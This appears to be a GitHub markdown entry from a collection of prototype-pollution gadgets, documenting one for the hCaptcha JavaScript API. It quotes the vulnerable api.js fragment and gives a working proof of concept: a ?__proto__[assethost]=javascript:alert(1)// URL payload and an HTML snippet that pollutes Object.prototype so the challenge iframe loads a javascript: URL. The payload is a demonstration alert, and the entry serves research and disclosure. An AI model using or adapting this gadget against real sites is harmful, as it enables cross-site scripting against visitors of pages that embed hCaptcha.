Skip to content

Latest commit

 

History

History
executable file
·
34 lines (24 loc) · 696 Bytes

hcaptcha.md

File metadata and controls

executable file
·
34 lines (24 loc) · 696 Bytes
Raw

hCaptcha

URL

https://docs.hcaptcha.com/

JS Fingerprint

typeof hcaptcha !== 'undefined'

Vulnerable code fragment

https://hcaptcha.com/1/api.js

ae.assethost && (n = ae.assethost + re.assetUrl.replace(re.assetDomain, "")),
this.$iframe.dom.src = n + "/hcaptcha-challenge.html#id=" + this.id + "&host=" + this._host + (t ? "&" + Rt(this.config) : ""),

PoC

?__proto__[assethost]=javascript:alert(1)//

<script src="https://hcaptcha.com/1/api.js" async defer></script>
<script>
  Object.prototype.assethost="javascript:alert(1)//"
</script>
<div class="h-captcha" data-sitekey="your-site-key"></div>